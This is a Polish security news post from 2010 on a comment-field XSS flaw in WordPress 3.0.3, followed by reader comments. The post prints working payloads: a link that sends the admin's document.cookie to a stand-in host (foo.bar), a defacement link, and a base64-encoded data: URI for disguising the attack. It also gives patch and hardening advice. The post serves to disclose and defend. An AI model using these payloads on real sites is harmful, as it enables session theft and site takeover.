0:37
31/12/2010

WordPress właśnie wypuścił “krytyczną” poprawkę bezpieczeństwa na błąd typu XSS, który może zostać wykorzystany przez atakującego do wykradzenia ciastka administratora i przejęcia kontroli nad blogiem. Zalecamy szybką aktualizację, poniżej szczegóły błędu.

Kradzież ciastka administratora

Błąd znajduje się w pliku kses.php, a wynika z niedokładnego filtrowania atrybutu “href” w linkach będących częścią komentarzy pochodzących od użytkowników. Jeśli atrybut jest zapisany dużymi literami, można przemycić w nim kod JavaScript:

<a HREF="javascript:alert(0)">kliknij tutaj</a>

co oczywiście umożliwia atakującemu przeprowadzenie ataku polegającego na wykradzeniu ciastka administratora…

Podobne ataki ćwiczymy na naszych szkoleniach z bezpieczeństwa webaplikacji — śpieszcie się, na styczeń 2011 zostały już tylko 4 wolne miejsca

Oto przykładowy kod kradnący ciastko:

<a HREF="javascript:open('http://foo.bar/?zoot=' + document.cookie)">kliknij tu</a>

Atakujący może również przeprowadzić “deface” strony:

<a HREF="javascript:eval(document.getElementById('site-title').innerHTML+=' 
IMPORTANT WORDPRESS UPDATE, go to badsite.com to download it!');">nice site</a>

co będzie wyglądać tak:

Wordpress XSS 3.0.3

XSS w WordPress 3.0.3

Warunek dla powyższych “exploitów”: administrator musi kliknąć na podstawiony link. Dlatego też, aby zwiększyć skuteczność ataku warto ukryć jego zawartość (bo pewnie wielu administratorów zorientuje się, że coś jest nie tak, kiedy w linku zobaczą javascript:foobar):

<a HREF="data:text/html;base64,PHNjcmlwdD5hbGVydCgvbmllYm
V6cGllY3puaWsvKTwvc2NyaXB0Pg==">kliknij tu</a>

Ochrona przed XSS-em

WordPress wypuścił już nową wersję 3.0.4, wystarczy się zaktualizować. Przy okazji, warto dodatkowo założyć HTTP Authentication na katalog wp-admin — dzięki temu, nawet jeśli komuś kiedyś uda się wykraść ciastko administratora (np. za pomocą takiego jak powyżej błędu), będzie miał kolejne zabezpieczenie do pokonania, zanim zacznie psocić wam na blogu ;)

Przeczytaj także:


Dowiedz się, jak zabezpieczyć swoje dane i pieniądze przed cyberprzestępcami. Wpadnij na nasz kultowy ~3 godzinny wykład pt. "Jak nie dać się zhackować?" i poznaj kilkadziesiąt praktycznych i przede wszystkim prostych do zastosowania porad, które skutecznie podniosą Twoje bezpieczeństwo i pomogą ochronić przed atakami Twoich najbliższych. Uczestnicy tego wykładu oceniają go na: 9,34/10!

Na ten wykład powinien przyjść każdy, kto korzysta z internetu na smartfonie lub komputerze, prywatnie albo służbowo. Wykład prowadzimy prostym językiem, wiec zrozumie go każdy, także osoby spoza branży IT. Dlatego na wykład możesz spokojnie przyjść ze swoimi rodzicami lub mniej technicznymih znajomych. W najbliższych tygodniach będziemy w poniższych miastach:

Zobacz pełen opis wykładu klikając tutaj lub kup bilet na wykład klikając tu.

20 komentarzy

Dodaj komentarz
  1. Dzięki za informacje, akurat nie logowałem się do panelu i przeoczył bym poprawkę.

  2. Update jest od wczoraj, a dziś już była wersja 3.0.4_pl, zaktualizowano.

  3. Ostatnio, jak Was odwiedzałem, to wp-admin wchodziło bez problemu :D
    Teraz jest prośba o autoryzację, ale jak zamiast indeksu wp-admin otworzy się wp-login.php, to wystarczy zignorować okno autoryzacji HTTP i wchodzi normalnie panel logowania WordPressa, tylko bez obrazków.

  4. ‘Wykraść ciastko administratora’ i przez Was dostałem ochoty na jakieś ciastko, np. administratora piekarni ;p

  5. Akurat wczoraj pisałem o częściowym rozwiązaniu tego typu problemów (odnośnie wykradania ciasteczek sesyjnych w opisany w przykładzie sposób) :D http://blog.kamilbrenk.pl/bezpieczenstwo-cookies-z-httponly/

    Aktualizacja zrobiona :-)

  6. co z zabezpieczeniami bos? http://www.goldbank.pl/rynek/3522-saby-poziom-zabezpiecze-bo.html

  7. krytyczny xss ! :D hahahahahaha

  8. Niebezpieczniku, pisać o XSS’ach wam nie przystoi!

  9. @Putty: why not?

  10. Generalnie duży błąd, dziwię się, że przez tak długi czas nikt tego nie zauważył. Cóż, moje wyobrażenie programistów dużego projektu (a’la wordpress) runęło w gruzach. To nie wygląda tak, że gość siedzi 24/7 i grzebie w kodzie szukając dziur i dokonując poprawek? Na The Social Network tak właśnie było! :P
    huhuhu ;>

  11. @Putty: to jest DYSKRYMINACJA! Dyskryminujesz XSS’y! Jesteś uprzedzony i nie respektujesz ich swobód obywatelskich.

    “Hańba, Hańba, Hańba, Hańba!”

    Ech, za dużo cookies się najadłem… Zdrowia w Nowym Roku życzę :)

  12. Ja bloguję od 11 grudnia przy pomocy Jekylla i nie męczę serwera PHP i MySQL.

  13. Dostałem 504. Nginx? Awesome.

  14. Ciasteczka http-only są już dostępne od wersji php 5.2.0 czyli od 4 lat, dostęp do tych ciastek jest zablokowana z poziomu javascript. Fajnie wiedzieć że WordPress tworzy banda ignorantów.

  15. @Cezary, tyle tylko, że WP jest kompatybilny z php 4 i wynika to z konieczności zapewnienia wsparcia jak największej grupie odbiorców:
    http://wordpress.org/about/requirements/

    ps. nie mów, że twórcy WP są ignorantami, bo nie sprawdziłeś jak sprawa wygląda i sam wychodzisz na ignoranta.

  16. Trapi mnie wpis z blipa o “kolejce” sprzed kilkunastu godzin…
    Mógłby ktoś rozwinąć temat?:P

  17. @Koziołek, z ciebie to chyba Matołek, odsyłam do manuala php, obadaj funkcję version_compare() i stałą PHP_VERSION. Można pisać aplikacje, które będą działać na starym php4 a zarazem będą potrafiły wykorzystać nowe funkcje z php5.

    if (version_compare(PHP_VERSION, ‘5.2.0’, ‘>=’)) {
    utworz_ciastko_http_only();
    } else {
    utworz_zwykle_ciastko();
    }

  18. 3.04 też ma błędy proszę poszukać w google ; p

  19. item: Ciastko Administratora, +10 do kontroli bloga ;p

Odpowiadasz na komentarz michal_229

Kliknij tu, aby anulować

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.

RSS dla komentarzy: